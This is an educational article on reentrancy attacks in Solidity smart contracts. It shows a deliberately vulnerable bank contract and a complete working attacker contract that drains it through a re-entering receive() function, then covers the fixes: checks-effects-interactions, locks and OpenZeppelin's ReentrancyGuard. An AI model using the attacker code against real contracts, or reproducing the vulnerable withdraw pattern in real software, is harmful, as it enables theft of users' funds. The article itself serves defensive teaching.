Reentrancy Attacks Explained: Cause and Mitigations
In this article, we will explore what a reentrancy attack is in Solidity, its impact on Ethereum so far, and how you can protect your protocol from it.
Introduction
Reentrancy attacks are among the most well-known exploits in the smart contract world, draining billions of dollars from protocols.
According to an OWASP report, reentrancy attacks have moved from the first position down to fifth, but they still remain in the top five.

Reentrancy is one of the most common vulnerabilities, and it can be prevented with just a few simple steps.
In this article, we will walk through how reentrancy works and the methods you can use to prevent it.
How does Reentrancy work?
Imagine Alice runs a vending machine that gives out snacks when you insert money. Bob finds a trick: right after putting in a coin, he quickly presses the refund button before the machine finishes giving the snack. The machine isn’t smart enough to check properly, so it gives Bob his coin back and still dispenses the snack. Bob keeps repeating this process — inserting a coin, hitting refund, and collecting free snacks over and over.
That’s basically how a reentrancy attack works: Bob takes advantage of the system calling him back (refund) before it finishes its original task (dispensing the snack).
Now let’s understand how reentrancy works at the smart contract level.
Consider the following contract. At a high level, it looks like a simple system that lets users deposit and withdraw their funds.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Solidity_Reentrancy {
mapping(address => uint) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint amount = balances[msg.sender];
require(amount > 0, "Insufficient balance");
// Vulnerability: Ether is sent before updating the user's balance, allowing reentrancy.
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// Update balance after sending Ether
balances[msg.sender] = 0;
}
}Now let’s see how this can be exploited. Let’s examine the attacker contract.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "./VulnerableBank.sol";
contract Attacker {
VulnerableBank public vulnerableBank;
address public owner;
uint256 public initialDeposit;
constructor(address _vulnerableBankAddress) {
vulnerableBank = VulnerableBank(_vulnerableBankAddress);
owner = msg.sender;
}
// Fallback function that gets called when receiving ETH
receive() external payable {
// If the vulnerable contract still has balance greater than 0
// and we have enough gas, continue the attack by withdrawing again
if (
address(vulnerableBank).balance >= initialDeposit &&
gasleft() > 40000
) {
vulnerableBank.withdraw();
}
}
// Start the attack
function attack() external payable {
require(msg.sender == owner, "Only owner can attack");
require(msg.value > 0, "Need ETH to attack");
// Save the initial deposit amount
initialDeposit = msg.value;
// Deposit ETH into the vulnerable contract
vulnerableBank.deposit{value: msg.value}();
// Trigger the first withdraw which will cause a reentrant call
vulnerableBank.withdraw();
// After the attack, send all ETH to the owner
payable(owner).transfer(address(this).balance);
}
// Allow owner to withdraw any ETH that might be left
function withdrawAll() external {
require(msg.sender == owner, "Only owner can withdraw");
payable(owner).transfer(address(this).balance);
}
// Check the balance of this contract
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}The attacker contract defines a receive() function. In Solidity, when a contract receives ETH with no calldata, receive() is executed (if it exists). If ETH is sent with unrecognized non-empty calldata, fallback() runs instead. If neither is defined, the transfer reverts.
In this attacker, receive() immediately calls the bank’s withdraw() again before the bank updates the balance. Each time the bank sends ETH to the attacker, receive() re-enters withdraw(), repeating the loop until the bank’s funds are drained.

Mitigations
1. Use the checks-effects-interactions approach
With this approach, structure your functions to follow this exact order:
- Checks: Verify all preconditions; if anything is invalid, revert.
- Effects: Apply state updates and internal bookkeeping.
- Interactions: Perform external calls and transfers last, after state is updated.
The example we saw follows Checks → Interactions → Effects, which fails to protect against reentrancy.
When rewritten using the Checks → Effects → Interactions (CEI) approach, the contract is safe from reentrancy:
function withdraw() public {
uint256 balance = balances[msg.sender];
// 1. Check
require(balance > 0, "Insufficient balance");
// 2. Effect
balances[msg.sender] = 0;
// 3. Intreaction
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Transfer failed");
}
2. Implement locks
A lock is simply a boolean flag used to block reentrancy.
- When a sensitive function starts, set the flag (e.g.,
isProcessing = true). - While this flag is
true, any re-entrant call will fail. - Once the function finishes, reset it to
false.
Example:
bool private isProcessing;
function withdraw(uint256 amount) external {
require(!isProcessing, "Reentrancy detected");
isProcessing = true; // Lock set
require(balance[msg.sender] >= amount, "Insufficient balance");
balance[msg.sender] -= amount;
(bool ok, ) = payable(msg.sender).call{value: amount}("");
require(ok, "Withdraw failed");
isProcessing = false; // Lock released
}
This is the basic idea behind reentrancy guards (and what libraries like OpenZeppelin’s ReentrancyGuard implement safely).
Note: Always use OpenZeppelin’s ReentrancyGuard for any external function exposed to users. It provides a battle-tested nonReentrant modifier, making your contract safer and easier to maintain than writing custom locks.
Example:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract Bank is ReentrancyGuard {
mapping(address => uint256) public balance;
function deposit() external payable {
balance[msg.sender] += msg.value;
}
// Protected with nonReentrant
function withdraw(uint256 amount) external nonReentrant {
require(balance[msg.sender] >= amount, "Insufficient balance");
// Effects
balance[msg.sender] -= amount;
// Interaction
(bool ok, ) = payable(msg.sender).call{value: amount}("");
require(ok, "Withdraw failed");
}
}
With nonReentrant, even if an attacker tries to call withdraw again through a malicious receive() or fallback(), the contract will block the reentrant call automatically.
Examples of Smart Contract Reentrancy Attacks
The DAO Hack (2016):
One of the most famous reentrancy attacks happened in 2016 with The DAO, a decentralized investment fund on Ethereum. An attacker found a vulnerability that let them repeatedly withdraw funds before the contract updated its balance. This drained about $60 million worth of Ether. The incident was so severe that it led to a controversial Ethereum hard fork, which restored the stolen funds.
Curve Finance (2023):
On July 30, 2023, Curve Finance, a major DeFi protocol, suffered a reentrancy exploit due to a bug in the Vyper compiler. Attackers stole nearly $70 million, highlighting that even well-known protocols remain vulnerable if the underlying tools or smart contract logic are flawed.
Conclusion
Reentrancy is one of the oldest and most damaging vulnerabilities in smart contracts. We saw how it works with a simple real-world example, how attackers exploit it at the contract level, and how major protocols like The DAO and Curve Finance have lost millions due to this flaw.
The key takeaway is that reentrancy is preventable. By following the Checks → Effects → Interactions (CEI) pattern, using tools like OpenZeppelin’s ReentrancyGuard, and avoiding risky coding practices, you can secure your contracts against this attack.
Smart contract security is not just about writing code—it’s about writing safe, reliable, and future-proof code. Every line you deploy on-chain carries financial risk, so always prioritize security from the very beginning.
A secure protocol doesn’t just protect funds—it builds trust, and trust is the foundation of Web3.